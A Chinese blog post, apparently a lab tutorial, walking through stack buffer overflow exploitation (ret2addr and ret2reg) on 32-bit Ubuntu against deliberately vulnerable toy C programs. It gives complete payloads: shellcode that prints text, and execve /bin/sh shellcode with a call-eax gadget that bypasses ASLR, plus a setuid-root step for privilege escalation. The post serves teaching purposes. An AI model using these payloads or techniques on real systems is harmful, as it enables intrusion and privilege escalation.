一个栈溢出的实验

———-一:ret2addr和ret2reg(绕过随机化)———-

测试环境:Ubuntu 12.04

调试工具:gdb(可用图形界面工具:insight)+ core文件

说明:若直接在gdb里执行程序,地址空间和程序单独运行时不同。程序出段错误可生成core文件,保存出错时的上下文信息,结合gdb一起,可以得知程序单独运行时的一些状态。实验前设置core文件大小:ulimit -c 1024,仅对当前shell起作用,默认值为0 ,即不生成core文件,注意如果已有core文件,新的段错误将不会生成新的core文件。

一、 栈内注入shellcode

1.ret2addr

  • 攻击简介:利用缓冲区溢出,将可执行的shellcode注入到栈中,覆盖返回地址跳转到shellcode地址执行。
    程序中main函数将bad.txt内容读入buffer数组,造成缓冲区溢出,shellcode的作用:write(1, "test\n", 5); exit(0);打印test后就退出。
  • 关闭随机化
    Sudo password
    #echo 0 > /proc/sys/kernel/randomize_va_spac
  • 编译
    $ gcc -Wall -g -fno-stack-protector -o ret2addr ret2addr.c -m32 -Wl,-zexecstack //(关闭栈溢出检测: -fno-stack-protector,关闭栈不可执行: -Wl,-zexecstack )

(1) 试探main函数返回地址在栈中的位置

  • 在bad.txt里写入32个A和4个B字符,然后逐4增加A的个数,直到触发段错误,之后的实验也按此方法进行试探,或者直接通过gdb查看栈布局来调整。
    `$ perl -e ‘printf “A”x36 . “B”x4’ > bad.txt ; ./ret2addr

    data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
    程序在没有覆盖重要位置时,正常打印出字符串,覆盖了返回地址则发生段错。
    $ perl -e ‘printf “A”x48 . “B”x4’ > bad.txt ; ./ret2addr `
    data

    通过gdb可以确认BBBB覆盖了返回地址(EIP为0x42424242,EBP为0x41414141)
    $ gdb ret2addr core -q

    gdb

(2) 注入shellcode并将返回地址覆盖为shellcode地址

  • shellcode位置:在执行ret指令前,esp指向的是即为返回地址所保存的位置,由于ret指令相当于pop eip,执行后esp指向返回地址所在位置+4。因此若将shellcode注入到此,则shellcode起始地址为溢出时的esp,即上图中的0xbffff370。
    所以最终的溢出内容格式为:Ax48 + 返回地址 + shellcode,实际内容如下:
    perl -e 'printf "A"x48 ."\x70\xf3\xff\xbf"
    "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x74\x65\x73\x74\x0a"' > bad.txt ;./ret2addr

    ret
    运行结果为调用write打印出test字符串,然后退出

2.ret2reg{可以绕过ASLR}

  • 攻击简介:ret2addr需要事先确定shellcode的地址作为返回地址,若开了ASLR,则难以确定别的机器上的栈(esp)地址。ret2reg则可以绕过ASLR,通过jmp 寄存器的方式跳转到shellcode。
    示例程序中,main函数调用子函数,子函数将输入拷贝到buffer中去,导致缓冲区溢出覆盖子函数返回地址,刚好此时eax指向shellcode,则通过call eax跳转到shellcode。
  • 打开ASLR
    # echo 2 > /proc/sys/kernel/randomize_va_space
  • 编译
    $ gcc -Wall -g -o ret2reg ret2reg.c -z execstack -m32 -fno-stack-protector

  • 删除上次的core文件
    $ rm core

(1) 试探返回地址保存的位置

  • ./ret2reg $ (perl -e 'printf "A"x524 . "BBBB"')
    触发段错误,通过gdb ret2reg core –q确认是否BBBB覆盖了返回地址

    ESP=0x42424242,EBP=0x41414141.
    gdb

(2) 寻找寄存器和shellcode位置的关系

  • 查看evilfunction函数汇编代码,调用了strcpy(buffer, input),按照参数压栈顺序,分析得知<+16>行是将buffer地址存到eax,然后存放在esp所指向内存。因此可知,调用strcpy函数前,eax指向buffer地址;但是eax属于caller-save寄存器,strcpy函数是否会将它改掉呢?我们根据core文件,分析strcpy函数中是否更改了eax。

    dump

    已知eax的值为0xbfffef20,下图可见出错时eax仍然指向buffer,因此若将shellcode注入到此,通过一条类似于jmp eax的指令即可跳转到shellcode。
    jmp

(3)寻找跳转到eax的指令

  • echo 2 > /proc/sys/kernel/randomize_va_space命令打开了地址随机化,但仅对栈空间,堆地址和动态库加载空间进行随机化,没有对程序做地址随机化。Linux gcc编译器提供了-fPIE选项,可使程序空间做地址混淆,但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增强。我们在程序中寻找是否存在call eax和jmp eax这样的指令。
    $ objdump -d ret2reg | grep *%eax
    objdump

    选择80403df处的call *%eax指令,得到最终注入的内容格式:ShellCode(N) + A(524-N) + \xdf\x83\x04\x08,这里事先生成的shellcode为25字节,因此填充了499个A0。

    ./ret2reg $(perl -e 'printf "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80" . "A"x499 ."\xdf\x83\x04\x08"')
    prel

    攻击效果为进入了一个新的shell。若希望攻击效果更明显,可以给ret2reg加上root权限,攻击之后打开新的shell,从普通用户提权到root。
    $ sudo chown root:root ret2reg
    $ sudo chmod a+s ret2reg

    如何对付ret2reg,在ret之前,把相关寄存器都给复位掉。比如这里,在return之前加一条return 0之类,就能把eax给复位了。

ret2addr.c

#include <stdio.h>

int main(int argc, char *argv[])  
{  
        char buf[32];  
        FILE *fp;  

        fp = fopen("bad.txt", "r");  
        if (!fp) {  
                perror("fopen");  
                return 1;  
        }  

        fread(buf, 1024, 1, fp);  
        printf("data: %s\n", buf);  

        return 0;  
}
ret2reg.c

#include <stdio.h>    
#include <string.h>    

void evilfunction(char *input) {    

    char buffer[512];    
    strcpy(buffer, input);    
}    

int main(int argc, char **argv) {    

    evilfunction(argv[1]);    

    return 0;    
} 
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值